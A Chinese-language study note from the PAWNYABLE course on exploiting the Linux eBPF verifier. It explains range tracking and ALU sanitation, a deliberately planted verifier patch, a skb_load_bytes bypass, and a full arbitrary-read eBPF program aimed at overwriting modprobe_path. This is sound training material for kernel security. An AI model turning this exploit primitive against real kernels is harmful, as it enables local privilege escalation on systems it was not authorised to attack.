PAWNYABLE kernel ebpf 笔记
这里 pwn ebpf 的逻辑是让 verifier 对数据的范围估算错误,从而越界访问或者有任意读写的效果。
关于 ebpf
eBPF Docs ebpf 的自己的文档
maps
BPF数据传递的桥梁——BPF Map(一) – My X Files
ebpf 的 maps 创建之后返回一个 fd,因此可以在 user 和 kernel 的空间访问这个 map 里面的数据。
ebpf insn
字节码可以参考 【译】eBPF 概述:第 2 部分:机器和字节码 | Head First eBPF
可以不用 c 来写一个 ebpf 程序,能直接用宏来写 ebpf 的机器码,比如 linux/samples/bpf/bpf_insn.h 里面定义的
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
ebpf 验证器
eBPF verifier — The Linux Kernel documentation
检查每个分支的指令,分成两个阶段。
- 第一次检查使用深度优先搜索确保程序是有向无环图 (DAG)。
check_cfg
函数 - 第二次检查会检查有没有未初始化的寄存器和有无内核地址泄露。
do_check
函数
第二阶段检查(这个是攻击的重点)
类型追踪
验证器会给寄存器的状态打上标签比如,PTR_TO_STACK
是栈上的值,这个类型追踪的作用是防止把常数当作内存地址加载内容。
值的追踪
不仅仅会考虑某一个类型对应的值的范围比如 u32_min_value
, u32_max_value
,还会考虑实际计算里面用到的值。追踪的过程发生在 加减乘除 的各个过程中,用于检查内存访问的地址是不是合理的。
有一个比较重要的结构是:为了跟踪范围,每个寄存器有一个 var_off 值,用于记录寄存器中每个位的信息(已知具体值的位)。
mask
中在位具有未知值的地方为 1。 value
是已知的位置值。
比如,如果所有位都是未知
(mask=0xffffffffffffffff; value=0x0)
将此寄存器与 0xffff0000 进行“与”运算,则与 0 进行“与”的部分将变为 0。
(mask=0xffff0000; value=0x0)
如果我们添加 0x12345,我们就可以找到低 16 位。
(mask=0x1ffff0000; value=0x2345)
mask
位增加了一,以允许可能的进位。此时, umin_value
、 umax_value
、 u32_min_value
、 u32_max_value
分别为 0x1ffff0000、0x1ffff2345、0xffff0000、0xffff2345。
ALU sanitation
如果 verfier 算错寄存器的范围了…那可能有问题发生,所以引入了 ALU sanitation 这个新机制。其目的是在运行时,如果寄存器的值不在预期范围内,则阻止 OOB 内存访问。
在进行算术运算操之前,都会使用以下指令修补字节码:
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);
符号的含义:
alu_limit
表示可以添加到指针或从指针中减去的最大绝对值off_reg
表示添加到指针寄存器的标量寄存器,而BPF_REG_AX
表示辅助寄存器。 上方这些指令的作用是:如果off_reg
超过alu_limit
,或者off_reg
和alu_limit
具有相反的符号,则off_reg
的值将被替换为 0,从而使指针算术运算无效。
这个 alu_limit 可能有计算漏洞,[Learning eBPF exploitation]( https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation- (ft.-D-3CTF-d3bpf).html)
增加一个补丁
出于练习目的,作者手动打上了一个补丁,从而使 ebpf 可以攻击。在 BPF_OR 操作中 scalar32_min_max_or
的这个步骤里面删除了 __mark_reg32_known
调用。
7957c7957,7958
< __mark_reg32_known(dst_reg, var32_off.value);
---
> // `scalar_min_max_or` will handler the case
> //__mark_reg32_known(dst_reg, var32_off.value);
补丁对于 BPF_OR 逻辑的影响
BPF_OR 包括
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;
首先,用 tnum_or
更新目标寄存器 var_off
,这一步计算出来新的 mask 和 value。更新 var_off
后,将调用补丁相关的 scalar32_min_max_or
函数。
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
// 如果低 32 位是常数那么 src_known 为 true
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
// 提出之前计算的 dst_reg->var_off 为 var32_off
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umin_val = src_reg->u32_min_value;
// 如果 src 和 dst 的低 32 位都是常数
if (src_known && dst_known) {
// 补丁
// 把其低 32 位的范围更新一下。
// __mark_reg32_known(dst_reg, var32_off.value);
return;
}
如果寄存器的低 32 位是常数,则 tnum_subreg_is_const
返回 true。换句话说,当要进行 OR 操作的两个寄存器的最低 32 位都是常量时,应该调用 __mark_reg32_known
。
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
__mark_reg32_known
使用常量var_off
更新s32_min_value
、 s32_max_value
、 u32_min_value
和u32_max_value
。
由于没有调用 __mark_reg32_known
,因此32位最小值和最大值仍保持旧值,这样的危害是,可能在 OR 操作之后最大值会比旧值更大,可是算法还是只考虑了旧值的范围,没有更新范围。如果 u32_min_value
和 u32_max_value
都没有更新,那么当重新计算新的范围时候
reg->u32_min_value = max(reg->u32_min_value, var32_off.value);
reg->u32_max_value = min(reg->u32_max_value, var32_off.value);
假设原始u32_min_value
和u32_max_value
都等于 X。然后将其与某个常数 Y 进行“或”运算,得到X|Y
。然后,当X|Y > X
时
reg->u32_min_value = max(X, X|Y); // min=X|Y
reg->u32_max_value = min(X, X|Y); // max=X
这会导致 u32_min_value
大于 u32_max_value
的不合理的情况。
min_value > max_value 的利用
eBPF 允许在指针中添加或减去标量值。指针和标量值算法中的偏移量更新在 adjust_ptr_min_max_vals
中实现。
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...
bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
...
if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}
...
在标量值跟踪被破坏的情况下,使用 __mark_reg_unknown
会使计算结果变为未知值。那么 unknown 和指针的计算结果是一个标量值,可以被写入 map 中,从而产生泄露。
但是,ALU sanitation 的缓解机制,使得超出范围的引用不再像过去那么简单。不过当函数bpf_bypass_spec_v1
返回 true 时,ALU 清理会被跳过。此函数以root权限返回true,因此你仍然可以用root权限尝试越界引用。
在 root 权限的情况下越界读取
目标是创建一个常量,验证器认为该常量是 X,但实际上是 Y(XX!=Y)。具体来说,当 X=0,Y !=0 时,无论将其乘以什么,验证器都会判断它为 0,因此这对于创建超出范围的引用的偏移量很有用。(思路可以看原文,挺巧妙)
不过如果使用普通用户权限运行相同的程序,ALU sanitation 会将加法导致的超出范围的引用转换为加法 0,并且不会泄露任何数据(从一开始输入的值 1 就被检索到,这也表明由于 ALU 清理,加法是没有意义的。)
无 root 情况下 bypass ALU 越界读取
有一个名为 skb_load_bytes
的辅助函数可以使用,这个作用是用来取得socket傳輸的封包內容,将数据包内容复制到BPF端(map或者stack)。
第一个参数是上下文,第二个参数是要复制的数据包数据的偏移量,第三个参数是目标缓冲区,第四个参数是要复制的大小。调用此函数时,会检查参数是否超出范围,但不受 ALU 清理的影响。因此在函数内部就可以实现作用域外的数据复制。
...
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// map[0]に書き込み(ALU sanitationの回避)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_9), // arg3=to (&map[0])
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
...
在上面的程序中,使用skb_load_bytes
将数据包数据写入 BPF 映射的第 0 个元素(存储在最初获取的地址 R9)。实际上,会写入 0x10 字节,但验证器估计它是 1 个字节,因此允许。
现在有了越界写入,就可以利用了,比如说并排放两个 map,然后覆盖后面的 map 的 ops。
aar 和 aaw 操作
注释了一下作者给的 aar 程序
/**
* 任意地址写
*/
unsigned long aar64(int mapfd, unsigned long addr) {
char verifier_log[0x10000];
unsigned long val;
val = 1;
map_update(mapfd, 0, &val);
struct bpf_insn insns[] = {
// R8 --> context,一般来说 BPF_REG_1 放着 ebpf 的上下文指针
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),
// R0 --> &map[0]
// R9 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0 ,把数据 0 放到栈上
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8), // 取 key 的地址作为第二个参数
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // 如果返回值是 0,那就说明查找失败,需要退出程序
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // 查找成功获得了一个 ebpf 的地址
// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // 左移右移一下
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
// 将 reg9,存到栈上的 -0x18 位置
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),
// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// 利用 skb_load_bytes 来 bypass ALU 检查,这样就把刚刚的地址给修改了(程序以为只改了 1,实际上有 0x10)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
// 获取刚刚被修改的指针 到 REG0
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),
// 这样就可以任意读了,读到 R1 里面
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // 偽ポインタから読み込み
// 再把读取的数据放到 map 的 value 里面
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
/* bpf 的设置 */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
/* 加载 BPF 程序 */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");
/* 创建套接字 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
/* 使用套接字(激活 BPF 程序) */
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // リークするアドレス
write(socks[1], payload, 0x10);
map_lookup(mapfd, 0, &val);
return val;
}
总的 exp 的思路就是首先泄露 map 的地址,然后 aar 读取 map 的 ops 地址(这是一个内核的地址),然后 aaw 去修改 modprobe path。
懒狗写 exp 了…不想搓 www
参考
Kernel Pwning with eBPF - a Love Story - chompie at the bits
[Learning eBPF exploitation]( https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation- (ft.-D-3CTF-d3bpf).html)